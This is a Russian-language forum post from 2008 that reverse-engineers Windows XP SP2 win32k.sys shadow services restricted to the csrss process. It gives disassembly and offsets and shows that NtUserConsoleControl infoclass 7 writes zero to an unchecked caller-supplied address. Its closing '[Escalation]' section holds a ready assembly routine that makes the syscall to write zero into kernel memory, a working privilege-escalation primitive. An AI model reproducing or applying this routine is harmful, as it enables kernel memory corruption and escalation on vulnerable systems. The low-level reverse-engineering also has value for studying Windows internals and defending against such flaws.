Тема: Доступ к ядерной памяти из контекста csrss
Много где можно слышать что система падает изза ошибки гдето в процессе csrss. Конечно причиной падения не является завершение критического процесса(STATUS_SYSTEM_PROCESS_TERMINATED), последнее понятно, ибо если он завершается с кодом отличным от STATUS_SUCCESS система останавливается. Далее расмотрен доступ к памяти ядра посредством теневых(shadow) сервисов.
Многие из теневых сервисов предназначены для исполнения только в контексте процесса csrss. В контексте других процессов они возвращают ошибку. Это доверенные сервисы, у них отсутствует проверка валидности указателей. В начале работы этих сервисов выполняется сравнение PID текущего процесса с PID-м процесса csrss. PID csrss хранится в одной из переменных win32k. При инициализации csrss загружаются несколько модулей, в которых реализован весь функционал подсистемы. Один из загружаемых модулей - winsrv.dll При инициализации этого модуля выполняется экспортируемая им функция UserServerDllInitialization(). Эта функция вызывает теневой сервис NtUserInitialize. Пока подсистема не инициализирована в ядре переменная CsrProcessId содержит ноль. При вызове NtUserInitialize PID текущего процесса(а это csrss) сохраняется в переменной CsrProcessId. Далее любые вызовы этого сервиса окончаться неудачей с кодом STATUS_UNSUCCESSFUL:
NtUserInitialize:
mov edi,edi
push ebp
mov ebp,esp
cmp dword ptr [CsrProcessId],0
jnz short win32k.000C7181 ;Уже инициализирована, mov eax,STATUS_UNSUCCESSFUL
mov eax,win32k_.00050000
cmp dword ptr [ebp+8],eax
jnz win32k.000C6B84 ;-> KeBugCheckEx()
call ntoskrnl.PsGetCurrentProcessSessionId
[...]
call PsGetCurrentProcess
mov ecx,eax
mov dword ptr [CsrProcessId],eax ;Сохраняем PID csrss
[...]Внутренние csrss теневые сервисы проверяют PID вызывающего процесса с PID csrss, хранящимся в переменной CsrProcessId:
NtUserNotifyProcessCreate:
mov edi,edi
push ebp
mov ebp,esp
push esi
call win32k_.00010A3A
call PsGetCurrentProcess
cmp eax,dword ptr [<CsrProcessId>]
jnz short win32k.000F5A3A ;Возвращает STATUS_ACCESS_DENIED
[...]Тоесть эти сервисы доступны только в контексте csrss. Пример:
[Win32k.sys]
OS: XPSP2(5.1.2600.2180)
OptionalHeader.ImageBase: 0x10000
CsrProcessId variable RVA: (0x1B6DA4 - 0x10000)
[Shadow SST]
Section: .data
RVA: (0x1A7600 - 0x10000)
[NtUserConsoleControl]
Service number: 0x114E
Offset in SST: 0x14E * 4 = 0x538
Handler RVA: (0xF5400 - 0x10000)
000F5400 <NtUserConsoleControl> mov edi,edi
000F5402 push ebp
000F5403 mov ebp,esp
000F5405 push esi
000F5406 call win32k_.00010A3A
000F540B call dword ptr [<&ntoskrnl.PsGetCurrentProcess>]
000F5411 cmp eax,dword ptr [<CsrProcessId>]
000F5417 jnz short win32k_.000F5435
000F5419 push dword ptr [ebp+10] ;Parameter2
000F541C push dword ptr [ebp+C] ;Parameter1
000F541F push dword ptr [ebp+8] ;Infoclass[0%9]
000F5422 call win32k_.00010517
000F5427 mov esi,eax
000F5429 call win32k_.00010A66
000F542E mov eax,esi
000F5430 pop esi
000F5431 pop ebp
000F5432 ret 0C
000F5435 mov esi,C0000022 ;STATUS_ACCESS_DENIED
000F543A jmp short win32k_.000F5429
00010517 mov edi,edi
00010519 push ebp
0001051A mov ebp,esp
0001051C push ecx
0001051D push ecx
0001051E mov eax,dword ptr [ebp+8]
00010521 cmp eax,9 ; Switch (cases 0..9)
00010524 push ebx
00010525 push esi
00010526 push edi
00010527 ja win32k_.000F550D
0001052D jmp win32k_.000F5517
000F550D mov eax,C0000003 ;STATUS_INVALID_INFO_CLASS
000F5512 jmp win32k_.000F565A
000F565A pop edi
000F565B pop esi
000F565C pop ebx
000F565D leave
000F565E ret 0C
000F5517 jmp dword ptr [eax*4+F551E]
000F551E dd win32k_.000F5546 ; Switch table used at 000F5517
000F5522 dd win32k_.000F564C
000F5526 dd win32k_.000F550D
000F552A dd win32k_.000F54BE
000F552E dd win32k_.000F5642
000F5532 dd win32k_.000F54CB
000F5536 dd win32k_.000F54DC
000F553A dd win32k_.000F55A0 ;<---
000F553E dd win32k_.000F54EE
000F5542 dd win32k_.000F5500
[InfoClass #7]
000F55A0 mov esi,dword ptr [ebp+C] ;Parameter1
000F55A3 mov ecx,dword ptr [esi]
000F55A5 xor ebx,ebx
000F55A7 push ebx
000F55A8 mov dword ptr [esi+C],ebx
000F55AB mov eax,dword ptr [<&ntoskrnl.ExDesktopObjectType>]
000F55B0 mov eax,dword ptr [eax]
000F55B2 lea edx,dword ptr [ebp+8]
000F55B5 push edx
000F55B6 push 1
000F55B8 push eax
000F55B9 push ebx
000F55BA push ecx
000F55BB call dword ptr [<&ntoskrnl.ObReferenceObjectByHandle>] ; ntoskrnl.ObReferenceObjectByHandle
000F55C1 cmp eax,ebx
000F55C3 mov edi,dword ptr [ebp+8]
000F55C6 mov dword ptr [ebp-8],edi
000F55C9 jl win32k_.000F565A[Parameter1]
{
0x00 IN HANDLE DesktopHandle, ;ObReferenceObjectByHandle() -> STATUS_INVALID_HANDLE
0x04 XX DWORD Undefined1,
0x08 XX DWORD Undefined2,
0x0C OUT DWORD WriteToZero
}
[Escalation]
SERVICE_DATA struct
DesktopHandle HANDLE ?
Undefined1 DWORD ?
Undefined2 DWORD ?
WriteToZero DWORD ?
SERVICE_DATA ends
PSERVICE_DATA typedef ptr SERVICE_DATA
;Write zero to ServiceData + 0xC if invalid DesktopHandle
CsrWriteZeroToKernelMemory proc ServiceData:PSERVICE_DATA
push NULL ;Reserved
push ServiceData
push 7 ;Infoclass
mov eax,114eh ;NtUserConsoleControl
mov edx,esp
int 2eh
cmp eax,STATUS_INVALID_HANDLE
lea esp,[esp + 3*4]
setz al
movzx eax,al ;BOOLEAN
ret
CsrWriteZeroToKernelMemory endpОтредактировано Indy (2008-10-30 00:24:23)